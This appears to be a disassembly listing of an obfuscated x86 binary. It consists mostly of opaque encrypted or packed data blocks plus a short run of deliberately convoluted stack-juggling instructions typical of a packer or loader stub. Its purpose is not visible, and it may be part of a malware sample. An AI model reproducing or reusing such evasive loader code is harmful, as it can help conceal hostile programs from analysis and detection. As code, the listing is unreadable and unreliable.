		dd 0B6B2FB1Fh, 51CC6A27h, 0FDA646D6h, 0A3D4FFFFh, 0BC6A13C7h
		dd 29146A27h, 0A4128ACFh, 7DC3CC7h, 42000000h, 257A1h
		dd 0A3DDFF00h, 0B4ADCEF3h, 0EE69A8B5h, 6580C240h, 0EE6CEF6Dh
		dd 45F1756Ch, 8D094AA6h, 0BEB3B56Ah, 904420BAh,	6A27C7E9h
		dd 0B951A497h, 0C2BA3FDDh, 960CF774h, 682E90E0h, 5108779Ch
		dd 4F71E3F2h, 0D48C4ECCh, 8C3AB631h, 21C26CEFh,	813410DEh
		dd 4C6C20E8h, 7900D4B0h, 0D06C20E8h, 20E87D0Ch,	5D10036Ch
		dd 0F5B81FE2h, 3BB3FA3Bh, 394B7Ah, 0C9890000h, 86372B38h
		dd 0F86A27BCh, 0E9E3547Dh, 0F6782269h, 7973E77Bh, 65682E97h
		dd 508460FAh, 6C20E329h, 0D511E457h, 20E34C71h,	6316816Ch
		dd 3BBB5CA5h, 0BD297Ah,	0DDEB0000h, 0C59925A3h,	6DD95317h
		dd 0EEE96B8Eh, 6BDB5113h, 0BFCE1288h, 0C16A27BCh, 0E96BDB56h
		dd 3F70A7EFh, 156465FAh, 976D009Ah, 0B72C8D0Eh,	11ED19DCh
		dd 0BE088CCBh, 1C5E3A3Dh, 8B0682C1h, 3D402032h,	0CB856A27h
		dd 837CE84Dh, 0DD69E5E0h, 0DB3FA31Eh, 6820E5DBh, 0B5F092B7h
		dd 60D2AA6Ch, 0E4E775E5h, 0A45D768h, 3FBE428Eh,	8B338758h
		dd 44FF5h, 0CB413D00h, 65E1E672h, 840040D0h, 24A02133h
		dd 4AC68193h, 86BE3F5h,	0EE6AD34Fh, 52CE77EFh, 2D2F9014h
		dd 228035B3h, 0F7733ADEh, 0D6C2Bh, 26A2DD80h, 4BC18391h
		dd 0CD4B05D7h, 7419F52Ah, 316161FBh, 56D29046h,	0DDF420DBh
		dd 0BB9925A3h, 3DDF4339h, 0A027C147h, 26D99A24h, 868A67E1h
		dd 20A2B814h, 53C151A4h, 3F682ECCh, 0E596723Ch,	836C20A3h
		dd 0D309A9CCh, 0D3D4C096h, 7C3A8E8Ch, 0F9F67E81h, 0CB0FEB77h
		dd 6C20A9A2h, 7C9E61DCh, 29D93A98h, 0CF8A566Eh,	0FD6BCC4Fh
		dd 0F79A0004h, 73087342h, 3EDC272Ch, 235D42DAh,	0BF231E68h
		dd 5A8E3F23h, 5F06C2Bh,	86C218F2h, 0EA5B106h, 0CD6C2B5Ah
		dd 0D0AC1197h, 37h, 0BC96DB4Eh,	9D556A27h, 0BC342499h
		dd 0E38A8E38h, 806A27BCh, 7276A8CBh, 91D745FAh,	19AFAB1Bh
		dd 0CC6A27BCh, 0A7A51195h, 321FAF25h, 63B708ABh, 5117C9ECh
		dd 0DDB662DBh, 0B79521A7h, 0BC0BBB31h, 28329225h, 4DCF32AEh
		dd 522C9117h, 0BC5B62F6h, 3A256A27h, 0C8B453C7h, 0BC1E6A27h
		dd 0AF8D3C20h, 0F36A27h, 72B97BFDh, 92887434h, 48FFFFFFh
		dd 0F44A3DDh, 22BE088Bh, 0A354B98Fh, 0F00B1747h, 49EE6A64h
		dd 1B8C10B5h, 40A5CB4h,	257B7DBh, 0FF027288h, 66F47809h
		dd 2EBECCF2h, 0F945B068h, 20D8681Dh, 7F32A56Ch,	3FBD3527h
		dd 9709EC8Fh, 7A3BC44Eh, 0BE6E07Ah, 350D349h, 3595CACFh
		dd 9512E5B3h, 3Bh, 3438C977h, 6716CAA6h, 0CE6A27BCh, 27BC630Ah
		dd 6F221D6Ah, 6DF109ECh, 682EC26Fh, 3CAD01A4h, 46F8D28Bh
		dd 218D88B3h, 206D9025h, 0B7FA5D6Ch, 3C2CB879h,	0C48D7Ah
		dd 0DD4F0000h, 0A7B525A3h, 5F1CAA22h, 0F640C4BDh, 0C6448275h
		dd 0BBC21685h, 6C6A27BCh, 0BCBFF276h, 0D59775C1h, 736DEF5Fh
		dd 0F3F765F5h, 0D5418679h, 6A27B77Dh, 0FD423EB8h, 57E75D1Fh
		dd 8E0C10E1h, 2EDF484Ah, 84392468h, 0FA7670EAh,	0DC54AF4Ch
		dd 0DDB92123h, 74C2BA3Fh, 0A8960CF7h, 0C46E274Dh, 581BC159h
		dd 0FEF95BDCh, 1254D602h, 9B1815Dh, 20F77h, 0B81FD00h
		dd 0A521A6B2h, 0C4400010h, 64E0E173h, 8A0641D3h, 0C8ABA335h
		dd 0AEAA138Fh, 120EB72Fh, 0ED6FD054h, 0E2C075F3h, 0F2B3FA1Eh
		dd 40CD6C2Bh, 26A2DDC0h, 0DFA8FD91h, 71F5F2E1h,	0D37D26C5h
		dd 38A45FF1h, 0FC58C2BEh, 27705118h, 0C92C2F6Ah, 38C94414h
		dd 38B2A634h, 24682EC2h, 26A11D58h, 0F468C498h,	6C20B6C5h
		dd 3E22B8BBh, 6C20B68Fh, 67F306F1h, 6C20B652h, 0BB75389Fh
		dd 7A3B657Ah, 0C3CBh, 0A3DD0900h, 38BB9925h, 0EC6EF2BCh
		dd 168C77F3h, 6A27B7BEh, 4B5A905h, 7A6A27B8h, 0DE9804FFh
		dd 7D7FDD62h, 6AB3787h,	4255BB0Fh, 6DDB1EE4h, 0D60A9094h
		dd 682E06CCh, 69EFE577h, 0FB0A396h, 76E46819h, 279731E2h
		dd 0D4E8C6Eh, 0C75B6E91h, 29F06A13h, 0AE29146Ah, 0C88A502Ch
		dd 0B935B04Ch, 98B6E0Dh, 916DD24Eh, 0A0B338FCh,	0C824B966h
		dd 0C0A3138Fh, 0A420A33Dh, 5D19B878h, 87590181h, 108h
		dd 0BD02FAFAh, 1B9C185Fh, 7AC3B939h, 0DA63DB9Eh, 3C817D7Eh
		dd 84C7A458h, 28A5B708h, 4B090BACh, 0EEE868CDh,	61FDCD72h
		dd 2BF3CCFDh, 0F755B26Ch, 9126A2DDh, 2B9DC183h,	554B5160h
		dd 791B9C1Fh, 0BE3AB9A3h, 0C8873F0h, 0EA68D652h, 0DEEF73E8h
		dd 0A06A27BCh, 0E9853AB5h, 4CFA7273h, 23DC54AFh, 3B8B0740h
		dd 0B95D3DB8h, 6823FBBDh, 1B9FD406h, 235C8ABh, 2BA5A717h
		dd 0B3982DADh, 861AB12Ch, 0BFC9CB58h, 96A9C4EAh, 0BDD0AA63h
		dd 329044h, 0C557AA26h,	647DDB8Bh, 1184DE7h, 0C9DC3886h
		dd 313D1D53h, 124007D5h, 0FD16956Ah, 0CF32ADA5h, 0F1F32548h
		dd 4C28C27Bh, 3135E188h, 599C9F5Dh, 0B707FDFFh,	0FAF91C55h
		dd 56E05C1Fh, 0CFAC1A95h, 44D4E24Ch, 0BC35D096h, 72ED8E38h
		dd 45DC27C4h, 42FF9232h, 75FB383Ch, 8EC854AFh, 2DAFAD12h
		dd 117907B7h, 99000000h, 39850743h, 84019C6Ch, 0F570EFBAh
		dd 0D68AD602h, 9B2BA1DDh, 0F5413FB9h, 6BDB5117h, 0C670ECE9h
		dd 3F8F0B44h, 9826A2DDh, 0FBF3FBAh, 67D7550Dh, 0DC6AEEE5h
		dd 0E2895268h, 4C281h, 0B9510000h, 4, 8759CA29h, 535C2414h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 55240489h,	746D9968h
		dd 242C8B67h, 8104C483h, 0F05F9CE5h, 2AC5813Ch,	89E19BF4h
		dd 8B545DE9h, 0C4832404h, 0CA895204h, 8B085089h, 0C4832414h
		dd 24048B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 56240C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 38E95C24h,	21FFFBF3h
		dd 54B838AFh, 3060C50h,	7BE0FFC5h, 292DB9EEh, 9303B2E3h
		dd 7A0A1A87h, 0A42C4368h, 757042C3h, 0B3645D0h,	7D320173h
		dd 0BB0D1F07h, 990EF62Bh, 6182813h, 670ECE62h, 0F07251ECh
		dd 0EE2A5FFEh, 26406CE7h, 0A68DC65h, 541570E1h,	8D46F443h
		dd 0C52128Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B9DFBC2h, 418D89DFh, 6A06071Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0F451C350h, 184982DBh, 8A4273CCh,	60585C7h
		dd 712C0607h, 0BD890000h, 60718FDh, 6985C7h, 607h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0B95DA5C3h, 2E624A14h, 9D89573Ah, 6070C05h, 41B5FF58h
		dd 8B060730h, 7003195h,	0E195FF06h, 6A060701h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0EDDCC353h, 0BBF38041h, 95FF006Ah, 6073201h,	5AEBC08Bh
		dd 0DB02D37h, 7EF37237h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah
		dd 74061455h, 0C4740D47h, 0C8547E02h, 0C0371B55h, 5F0C470Dh
		dd 378BC87Ah, 0A74EC530h, 7F2BD3D0h, 320F66B4h,	8764B514h
		dd 0C8FB6F02h, 2E528D22h, 5B9946EAh, 0C91B1700h, 0F82430F0h
		dd 0D692D4B6h, 65CF097Ah, 8D8D01EEh, 60C5382h, 1B418D89h
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 4E42CFC3h, 52BF6A26h, 85C7F278h, 6070605h
		dd 67E0h, 870Fh, 0E9600000h, 0Bh, 3CB33F6Fh, 10FF90D4h
		dd 0E8399CC1h, 13h, 224AD4EEh, 504AB207h, 3343A1CDh, 1242AB92h
		dd 0E8DE12B5h, 0Ah, 0EAABBA23h,	0F26F6351h, 595BB78Ah
		dd 6985C761h, 60700h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 6EB6C353h, 0C5958B5Eh
		dd 50060729h, 0E85AFC8Ah, 6, 0E075D33Ah, 9D2B6357h, 6071595h
		dd 19B5FF5Eh, 6A06071Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0CF91C357h,	4124D77Dh
		dd 0E9BDFE9Fh, 1245BD89h, 95FF0607h, 60701E1h, 19ADBD89h
		dd 5E80607h, 0E7000000h, 1FFC527Bh, 5FC6BF0Fh, 95FF006Ah
		dd 6073201h, 9EBC08Bh, 20717DD9h, 583DD979h, 0B0E9FBh
		dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h,	701A985h
		dd 36840F06h, 3B000000h, 716BD85h, 2A840F06h, 3B000000h
		dd 7158985h, 1E840F06h,	3B000000h, 72F7185h, 12840F06h
		dd 83000000h, 72AFDBDh,	840F0106h, 5, 5FE9h, 3D08B00h
		dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h
		dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h
		dd 10h,	820FCE3Bh, 17h,	830FCF3Bh, 0Fh,	4A04C383h, 0FFDC850Fh
		dd 0DE9FFFFh, 8D000000h, 74DB49Dh, 5B806h, 0E3FF0000h
		dd 0D00BC361h, 6A2B04EBh, 0BCE926EEh, 0F0000005h, 0AEA3CB9Dh
		dd 61FC044Ah, 0D4095107h, 8C41A9FFh, 7C9DE5B3h,	0D084E102h
		dd 2A7E5588h, 65330FC2h, 0BCE2C01Dh, 0DE59FB54h, 3019F58h
		dd 2C128818h, 6E20475Dh, 4F35D5FEh, 181E44A2h, 0A8CE5CB9h
		dd 460C6E96h, 0A8AA94D0h, 0C983CB7Eh, 9E4E1070h, 0D5BB9B76h
		dd 0CA90F663h, 0A1F7CD4Ch, 288C06B7h, 0C22A7056h, 1D65330Fh
		dd 46B0E6C0h, 3C97AE9Ch, 239B106Ah, 0D5BB9E63h,	0B73D0563h
		dd 0F8AC8960h, 8B96367Eh, 7C91F9AFh, 45C63066h,	50D34F4h
		dd 1AFDF703h, 0AFDB6A3Dh, 8AC4h, 0C0DA2000h, 0FFADB596h
		dd 0A27CE6A6h, 0FE181E44h, 8F5F0163h, 0DCB08ACh, 8F21FB05h
		dd 0DCB0AACh, 0AA7A4A05h, 84C346AEh, 0BAFDA6Bh,	6, 6D3310E9h
		dd 43E5C7BDh, 0DCB4EF0h, 66260E05h, 61D7B99Bh, 48CE90F0h
		dd 0B2A4E8C9h, 0FAD8310Bh, 383E6241h, 92D2448Ch, 4C1E96F2h
		dd 82682274h, 4DF7026h,	2DF9FD6Eh, 36F70DBCh, 9C365E0Eh
		dd 48A0B1AEh, 0E36D8606h, 4FA074C9h, 0CD50F025h, 0CD47AFF5h
		dd 0D543156Ch, 0A20BF191h, 0B0E6C641h, 0DDA3C846h, 0A97BC60Ah
		dd 0A23F3961h, 0BD261046h, 223FCF25h, 1B1D43A3h, 0C67A9ADh
		dd 539B31C4h, 0E349C32Bh, 3A1A0AA0h, 0B4BAEA6Ch, 0DB8B19C4h
		dd 3C3A6046h, 0E1C0435Dh, 556CD22Dh, 42C050Dh, 0E22A5ADCh
		dd 0FFE9C228h, 139C2C80h, 864F573h, 1D79D85Eh, 5FA3C137h
		dd 0B0945055h, 0C37ED53Ch, 0A225AFDAh, 23000000h, 0E4C641A2h
		dd 118076BEh, 46F76137h, 0B596684Ch, 694A87EFh,	0A988613Bh
		dd 460C6AE7h, 72F494D0h, 5CDA8EE7h, 9D200E94h, 114900BEh
		dd 0C62E2AFAh, 0DA771443h, 8CBBAFh, 80990000h, 0AA50F0A6h
		dd 791341A2h, 5BDD83E0h, 1CFD7B2Bh, 96BC602h, 0CB62D447h
		dd 0C722050Dh, 0ABABCECh, 27714FC2h, 974D7531h,	0EB1A15A9h
		dd 0F454DA8Eh, 4DAB7BD7h, 0C631F5CCh, 50D5770h,	5ED80030h
		dd 0B437F1D0h, 56CB0C84h, 52292F75h, 284F7478h,	0F947DAD2h
		dd 0DDBA35F3h, 0FEAA8798h, 44044C78h, 0A0C89CF9h, 1046A2CAh
		dd 6874F47Ah, 0CBDE883Dh, 2D2B7156h, 0CC4FA979h, 50D296Fh
		dd 0EF727A98h, 0AFDB4DA8h, 16Fh, 42A2F500h, 5FB72214h
		dd 19610F09h, 0CB9DFB93h, 2A4B99A3h, 0F02A8770h, 5EAC0F34h
		dd 167A8787h, 0D58959A8h, 88EE6BEDh, 4EE0BAC2h,	0A8749EDh
		dd 69390903h, 6EE8BE94h, 0A874BEDh, 36BE9403h, 8BDE4EA4h
		dd 0E23E0EB3h, 3D03D901h, 5ED96308h, 30A63D8h, 1AA6A898h
		dd 7D9535D8h, 6DC82E0h,	9C9ACE2Bh, 0E43E38E8h, 0F74FA842h
		dd 0B7030A7Fh, 7F2A8C8Fh, 5A6A030Ah, 95FB78Ah, 0E6CE940Fh
		dd 0C89EFE53h, 672D0518h, 1FCEB51Fh, 5E55B5E2h,	93000001h
		dd 6C267F95h, 6A7264CAh, 49EFD717h, 72322468h, 0D4999A4Ah
		dd 340F3419h, 0F1A7909Eh, 0B4208F7Eh, 0A4CFF47h, 4F77BF03h
		dd 0F16A48C9h, 1B4BCD93h, 0C42039D3h, 0DC35A492h, 48804088h
		dd 61D7BD95h, 16CC92F0h, 6BA4C628h, 4C4C56Fh, 0D5BB722h
		dd 0E6AC8E0Bh, 0FCD93470h, 0DA20AEA8h, 8ED04F63h, 0F0C4DE6Fh
		dd 0AA0250CBh, 1879F2D0h, 1EE40C34h, 0B5E21739h, 4CC0h
		dd 7C950400h, 0B78C6D27h, 6F3F77E1h, 0CB246AD5h, 0FE2050Dh
		dd 3AA66632h, 2B930C0Ah, 5D050DCBh, 0F9E8AF05h,	0ED4EE0BAh
		dd 50DCB49h, 0D3693909h, 0DCB2E60h, 9EE6CE05h, 0A8BFh
		dd 2804E500h, 0CBAB13ECh, 0DBEB050Dh, 21E1A593h, 267F95BBh
		dd 963E936Ch, 969E0F34h, 4DD131A0h, 1E7AE194h, 6890C648h
		dd 8770C631h, 30030Ah, 954890D8h, 0EE61D7BDh, 30A844Fh
		dd 69EFB592h, 5CDA8CE8h, 0A2B5E3FDh, 385F6448h,	0D230CA22h
		dd 88DE648Ch, 0C59F31EBh, 0A87C47Ah, 0ED51A203h, 0AD030A87h
		dd 9D9E985h, 36FB692Ah,	0DFB1BF09h, 8151A6BCh, 10B22EFEh
		dd 6149F27h, 0AFD7DF05h, 6AD56FA9h, 50614D4h, 3BB79DF5h
		dd 0E0C65B0Bh, 0CA2EBCBAh, 8C293FE2h, 682C65D6h, 67FA0F3Ah
		dd 97DF590Fh, 0D33B0BF7h, 0F37F9559h, 1155C395h, 83C033E9h
		dd 730F31B7h, 0D83EB196h, 14024A72h, 2DE7AD85h,	9347EEDFh
		dd 0A5657BDEh, 0C52B0ADh, 0CA9EFB56h, 93A31C1Ah, 6E226740h
		dd 43A98074h, 3A9ACCE7h, 9865255Fh, 233ED4BAh, 9AF292C6h
		dd 3F396F47h, 451F45A2h, 0E4B02DF7h, 0B39186EBh, 4FA8A5EDh
		dd 81EF4919h, 7B5B33B9h, 75BDE3C0h, 1992F06Dh, 0FFA1803Bh
		dd 13054D79h, 0DF712B53h, 0E34FDA5Ch, 0FAAA9A23h, 12617Ch
		dd 799B0000h, 843A05DFh, 0C4050DCBh, 510761FCh,	5FFAFE7h
		dd 1B1D4BA2h, 4F258BEh,	6DEBB995h, 55C395ECh, 0BBBDEBC4h
		dd 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h, 0E1895132h
		dd 3BB3BD55h, 0F58125B2h, 25B23BB7h, 835DE901h,	0C8704E9h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		push	18C62D60h
		pop	edx
		push	ebx
		mov	ebx, 6E01484Ah
		and	edx, ebx
		pop	ebx
		xor	edx, 0E0C5C12h
		mov	ebp, edx
		pop	edx
		push	6B77h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		xor	dword ptr [esp], 95F755Eh
		pop	dword ptr [edi+8]
		xor	dword ptr [edi+8], 95F755Eh
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0B838ABA0h, 60C5958h, 0E0FFC503h, 5C0612DAh,	5EB3E661h
		dd 3FC9D569h, 6249B561h, 61CAE25Eh, 15225ECDh, 4BB4FCFh
		dd 2FDB1F59h, 1D206DC9h, 1773E216h, 53B752E9h, 45E3E6Ah
		dd 17729FA8h, 21E91E2Fh, 6BB32E48h, 52150617h, 0FE8h, 565C0100h
		dd 0B638D0Dh, 8929A1F3h, 7F1B1DEEh, 8B6658F9h, 15C081F9h
		dd 66000066h, 7C9FCB81h, 0F1B7F62Bh, 81300C8Bh,	8506A3C1h
		dd 9E96014h, 8A000000h,	2EAA1799h, 72AEFD32h, 29F18161h
		dd 0F57C896Bh, 1F0BE981h, 0C6805281h, 48F5187h,	0DE930h
		dd 5A3E0000h, 30B5485Dh, 44808933h, 0F2B8B5Ch, 385h, 0D2B70F00h
		dd 0F04EE83h, 283h, 81D58A00h, 0FF9AB8FEh, 39850FFFh, 0F000000h
		dd 1E8Eh, 12E800h, 672F0000h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h
		dd 3D8926BFh, 7C0EDA81h, 0E95F6D7Ch, 26h, 0FEDCB700h, 0D100455Ch
		dd 79A60EBh, 0DC3AA07Ah, 0C0959DBBh, 0FF5EE977h, 0D660FFFFh
		dd 0E73268F8h, 0D41592ADh, 0FCE9F20Bh, 0F000000h, 181h
		dd 0B58DF800h, 60C5B8Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 10C35242h, 858D75A8h,	60A4DDCh, 6AD0FFFCh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 4441C351h, 0FF876CFh, 180h, 0F5C3FC00h, 60D98C66h
		dd 6636F080h, 610D3BBAh, 0F04C1F6h, 5484h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 8BFB8BAEh, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh
		dd 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh
		dd 490A75A6h, 1B8FA75h,	0EB000000h, 0EB008B09h,	0B8E4h
		dd 6ACF0000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0BB7EC352h, 8F0FE1C0h,	0Ah, 0C7816660h
		dd 8B66F150h, 0C7F561C1h, 0C5BD885h, 1013F06h, 60EB00h
		dd 17h dup(0)
		dd 0E9000000h, 0BAAh, 0B9EE9h, 64636800h, 0CBE9060Ch, 68FFFB20h
		dd 60C65A4h, 0FB20C1E9h, 662E68FFh, 0B7E9060Ch,	60FFFB20h
		dd 0DE335B0Dh, 914C94FAh, 4499E1B7h, 3CD1396Fh,	0CC6D7523h
		dd 60341192h, 0BAEEC518h, 0F5A3BF52h, 4C1270EDh, 6EC96B24h
		dd 30197C8h, 0A2A21888h, 0F57B1147h, 0EFCBF255h, 0C50DB7B9h
		dd 0FBA48242h, 7C9B0366h, 406B7581h, 313F5C22h,	0D71F9B44h
		dd 0AC8A47AFh, 5A82D633h, 33617DDCh, 2B7D54C5h,	553AC2Dh
		dd 0FFA58613h, 0D5BB9879h, 0C096F663h, 0A7E9CB56h, 0A4F117B1h
		dd 36300EEh, 1879611Ah,	50DE2E95h, 0D9895BBAh, 15483003h
		dd 6CD20F31h, 34A854D5h, 0B22FDDF3h, 7E3C3E20h,	0CBFB6727h
		dd 0A3D83811h, 8ED61E42h, 99336064h, 7F1A780h, 7AC59F4Fh
		dd 30190F8h, 23BEB888h,	396F48C3h, 76D1B337h, 3A625DEDh
		dd 0F2DC9A60h, 282E7452h, 0EA1DF27Ch, 906A6222h, 641E44A2h
		dd 17E5BFB9h, 7FF236FFh, 0E04C482h, 0B5714FD9h,	0D6BF44Ah
		dd 448CB405h, 0DD57661Ch, 7C2A04E5h, 701ACAFAh,	0B2DA5F23h
		dd 588Ah, 7E954E00h, 1AE54F25h,	50DCBA4h, 6C06DCE4h, 0CBD569CAh
		dd 0AD95050Dh, 0DCB08AEh, 0F6784805h, 0ADAF48E6h, 6812B291h
		dd 19AB17E5h, 0EA8AFB7Eh, 0D2CB509h, 85CDF505h,	0A2453FC5h
		dd 0A07A1046h, 0CB892D0Eh, 0F9C9050Dh, 0DCBC47Ah, 0ECBC8405h
		dd 5E48CC76h, 4Fh, 257E95DAh, 0CC17E54Fh, 0D4024534h, 4DE7BD6Dh
		dd 0D08129FFh, 8E70FFEFh, 54477DBEh, 0C82BFB00h, 50D4F76h
		dd 0E5BD377Fh, 0F043E563h, 50DCB4Eh, 9B66260Eh,	0F1ED11B9h
		dd 0C3083EB0h, 38C8F561h, 5DF070Ch, 0D22843Ah, 0B4FCC405h
		dd 9548CC3Eh, 0C296F37Fh, 243D1054h, 0A1924870h, 0F34E96Ch
		dd 39B2A48Ch, 30AEA81h,	70856BC9h, 5FE11514h, 4EA6A262h
		dd 0E1E78CCBh, 0BDE856B5h, 0F88D509Ch, 942936D6h, 2F000001h
		dd 6E247195h, 0DCB118Dh, 0E7516105h, 2E361C7Ah,	1E44A254h
		dd 829FB964h, 0B52FFFA5h, 4F257E95h, 4E5DD57h, 81E67B2Dh
		dd 79295DDBh, 0DA5FC493h, 426BB2h, 95E90000h, 0E54F257Eh
		dd 0DCBA41Ah, 26DCE405h, 0AB2804E5h, 31D1194Fh,	46A2F16Bh
		dd 7FA7EDC5h, 0D668CC85h, 0DCBD165h, 0BFA19105h, 2AB86CC1h
		dd 83792932h, 7A2C04E5h, 7855C8FCh, 401D7C2Ch, 0A7000000h
		dd 4F257E95h, 7A2C04E5h, 0E37E10AAh, 3407DD83h,	50DCB82h
		dd 0D152F2C2h, 50DCB6Dh, 0E5B44E64h, 8246A263h,	0DCB0DB1h
		dd 36886B05h, 76050DCBh, 5A82B24Eh, 2804E5A0h, 0DD83E37Eh
		dd 0E5DA5E0Dh, 0CB4EF043h, 0B40E050Dh, 0DCBF34Bh, 5B83B305h
		dd 104D818Bh, 0CB71F97Ah, 2111050Dh, 64CAA37h, 44A204FEh
		dd 9FB9641Eh, 54F4A282h, 257E95AEh, 0E5DD574Fh,	0DF834A17h
		dd 27E7AE78h, 0DB28F6ADh, 3D5DB2h, 0B5BB0000h, 0B84930C4h
		dd 11CB9BF2h, 4F257E95h, 0CBA41AE5h, 7CC2050Dh,	0FD35A84Ch
		dd 0EA9636F9h, 63E520DAh, 4EF043E5h, 0E050DCBh,	0B99B6626h
		dd 48CC1DD7h, 7D2B04E5h, 53ACADh, 95D40000h, 816F257Eh
		dd 0C1E1373Ch, 78E2A21Bh, 0CBA41AE5h, 97AD050Dh, 0DCB12A4h
		dd 0EF625205h, 1252C494h, 4E510EAh, 14AE7E28h, 0CF8D8C72h
		dd 75DBEE10h, 38E8BE98h, 8246A242h, 0DCB0DB1h, 3D654D05h
		dd 28AB9967h, 9DD1B262h, 7AFCA280h, 0CCE09A4Ah,	0A85E48h
		dd 95DA0000h, 8D6E2471h, 50DCB11h, 7AE75161h, 542E361Ch
		dd 441E44A2h, 6EFC9BF6h, 22E2555Dh, 95BFB9B8h, 574F257Eh
		dd 5F7ED5DDh, 4725B2DAh, 3000000h, 290ACE2Eh, 0F80DCB95h
		dd 0B3A5EDD5h, 0E5A953F3h, 0AB7B2D04h, 96F76261h, 88491B9Bh
		dd 0E534CEF6h, 0C68CEE43h, 0F7741450h, 50DCB4Fh, 0E54D270Fh
		dd 1046A263h, 0F864F47Ah, 443DFB2Dh, 48CCDE84h,	315Eh
		dd 7E95DA00h, 1AE54F25h, 50DCBA4h, 77CF28C2h, 37050DCBh
		dd 0DCEA5F0Fh, 0E563E526h, 36CFD43h, 437E0011h,	0D376ED0h
		dd 46062E05h, 3DB799FBh, 4E548CCh, 0D553B828h, 9BE5D8DAh
		dd 0ACA1E553h, 0FF420254h, 0DA47B1E7h, 8F42AAF8h, 0C52BE1B7h
		dd 0FF9605EFh, 0A519F2DFh, 0C4A27BD0h, 0F16ACC9Ch, 50D954Fh
		dd 0AE313F99h, 5E0864B3h, 0A6A2ACD8h, 5F795FEEh, 8CEFD320h
		dd 6C408444h, 86EEB492h, 33256B4Bh, 0AC8EC26Dh,	81E170E6h
		dd 2C065DDBh, 4B4FE3C8h, 0E3A98961h, 4213719Bh,	9A66AF88h
		dd 6B860F34h, 24125A0Eh, 0A9917ABh, 717B5F03h, 0E1BDA9EEh
		dd 2A70B5h, 0A2F40000h,	0FE181E44h, 0B2520663h,	0DCB0DB1h
		dd 82D42C05h, 792F0594h, 238991FFh, 81501858h, 689014AFh
		dd 20BA3206h, 0FE749CC2h, 181E44A2h, 0AE89588Eh, 50DCB08h
		dd 9A307848h, 31AF9799h, 0CB05F30Fh, 0E3BFA263h, 0CE147CA4h
		dd 3601DB98h, 938A1F1h,	0ED372111h, 0A256E84Bh,	0C7300506h
		dd 506A27Fh, 4B7BF73Fh,	0A222989Bh, 26030506h, 3D158472h
		dd 0A8A5E157h, 0D113054Bh, 86402B81h, 0E8E37BA7h, 785C2850h
		dd 7AA6ED74h, 4A6DAFE5h, 0EB000000h, 6E247195h,	60235180h
		dd 0DC22F97h, 0D9476F05h, 9FEBFE22h, 0F369726Bh, 54EEBEE6h
		dd 13455FB2h, 197EF073h, 161E050Dh, 47839D7Ch, 0D1942F4h
		dd 0A320205h, 0EC74EA50h, 4F362409h, 2366779Fh,	0B2000000h
		dd 7616425Fh, 2A04E58Ch, 1E8B9BBAh, 0C9F1544Eh,	8EDB3319h
		dd 0F8E76BD4h, 0BF87050Dh, 7E2804E5h, 655E9C16h, 0DA000001h
		dd 6B217295h, 7EE0B696h, 2A73A88Ah, 0F36939E2h,	44A2BFB9h
		dd 0DD57641Eh, 0DA5F7ED5h, 3525B2h, 95230000h, 0CC9AF472h
		dd 43E5EE84h, 2D88EEEh,	0DCB8D31h, 25E5CD05h, 0DCB70C6h
		dd 6A003005h, 42A263E5h, 0CBF07E14h, 0B3D95229h, 0CCCCB656h
		dd 465E48h, 0E5DA0000h,	2C9BFD43h, 7D2DD202h, 0DE138FEh
		dd 98487805h, 700A59B2h, 8CEE43E5h, 2A1450C6h, 9A8AEB27h
		dd 6E5A509h, 50D04B0h, 0E57309B9h, 1442A263h, 9168CC5Eh
		dd 76DA39B0h, 0D65AC84Eh, 9C335FFCh, 0B228F820h, 641E44A2h
		dd 82CE17E5h, 0BC4E8743h, 1A1C40A1h, 0BABCBA6Ah, 4F257E95h
		dd 7ED5DD57h, 25B2DA5Fh, 44h, 0B77E9523h, 0DCBF244h, 0A0F0D305h
		dd 0A002FEB6h, 0DCBEF57h, 5F87AF05h, 43E55D17h,	3C389EEh
		dd 0DCB9E20h, 1CD6DE05h, 7D2B04E5h, 411BCBFBh, 217752AFh
